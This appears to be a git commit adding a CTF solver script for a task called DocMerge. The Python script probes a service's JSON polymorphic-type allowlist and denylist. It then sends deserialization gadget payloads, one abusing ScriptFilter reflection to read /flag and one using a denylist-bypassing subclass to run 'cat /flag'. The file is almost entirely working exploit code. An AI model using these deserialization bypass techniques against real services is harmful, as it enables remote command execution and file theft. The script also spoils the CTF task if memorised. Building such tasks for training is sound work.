Init. Commit

This commit is contained in:
Caplag
2026-09-17 00:50:07 +03:00
commit 880d8698d6
115 changed files with 7611 additions and 0 deletions
+119
View File
@@ -0,0 +1,119 @@
#!/usr/bin/env python3
"""Автоматическое решение таска DocMerge (только stdlib).
Запуск: python solve.py http://localhost:18112
"""
import json
import re
import sys
import urllib.error
import urllib.request
FLAG_RE = re.compile(r"CAPLAG\{[^}]*\}")
def post_merge(base, payload):
data = json.dumps(payload).encode()
req = urllib.request.Request(
base + "/api/merge", data=data,
headers={"Content-Type": "application/json"}, method="POST")
try:
with urllib.request.urlopen(req, timeout=20) as resp:
return resp.status, resp.read().decode("utf-8", "replace")
except urllib.error.HTTPError as e:
return e.code, e.read().decode("utf-8", "replace")
def get(base, path):
try:
with urllib.request.urlopen(base + path, timeout=20) as resp:
return resp.status, resp.read().decode("utf-8", "replace")
except urllib.error.HTTPError as e:
return e.code, e.read().decode("utf-8", "replace")
def fingerprint(base):
"""Три зонда: denylist / класс вне allowlist / разрешённый пакет."""
probes = [
("denylist: java.lang.Runtime",
{"@type": "java.lang.Runtime"}),
("allowlist, но класса нет: com.docmerge.plugins.NoSuchPlugin",
{"@type": "com.docmerge.plugins.NoSuchPlugin"}),
("вне allowlist: java.io.File",
{"@type": "java.io.File"}),
]
for label, payload in probes:
status, body = post_merge(base, payload)
marker = ""
try:
marker = json.loads(body).get("message", "")[:120]
except ValueError:
marker = body[:120]
print(f"[*] probe ({label}) -> HTTP {status}: {marker}")
def exploit_script_filter(base):
"""Основная цепочка: ScriptFilter -> reflection -> PreviewUtil.readFile('/flag')."""
payload = {
"title": "quarterly-report",
"documents": ["doc one", "doc two"],
"renderer": {
"template": "default",
"filters": [
{
"@type": "com.docmerge.plugins.ScriptFilter",
"className": "com.docmerge.util.PreviewUtil",
"methodName": "readFile",
"argument": "/flag",
}
],
},
}
return post_merge(base, payload)
def exploit_legacy_executor_v2(base):
"""Запасная цепочка: наследник denylist-класса проходит equals-проверку."""
payload = {
"title": "quarterly-report",
"renderer": {
"filters": [
{
"@type": "com.docmerge.plugins.LegacyExecutorV2",
"command": "cat /flag",
}
]
},
}
return post_merge(base, payload)
def main():
base = (sys.argv[1] if len(sys.argv) > 1 else "http://localhost:18112").rstrip("/")
print(f"[*] target: {base}")
status, body = get(base, "/api/plugins")
print(f"[*] GET /api/plugins -> HTTP {status}: {body[:200]}")
fingerprint(base)
print("[*] exploit #1: ScriptFilter -> PreviewUtil.readFile('/flag')")
status, body = exploit_script_filter(base)
match = FLAG_RE.search(body)
if match:
print(f"[+] flag: {match.group(0)}")
return
print(f"[-] exploit #1 failed (HTTP {status}), trying exploit #2: LegacyExecutorV2")
status, body = exploit_legacy_executor_v2(base)
match = FLAG_RE.search(body)
if match:
print(f"[+] flag: {match.group(0)}")
return
print(f"[-] exploit #2 failed (HTTP {status}): {body[:300]}")
sys.exit(1)
if __name__ == "__main__":
main()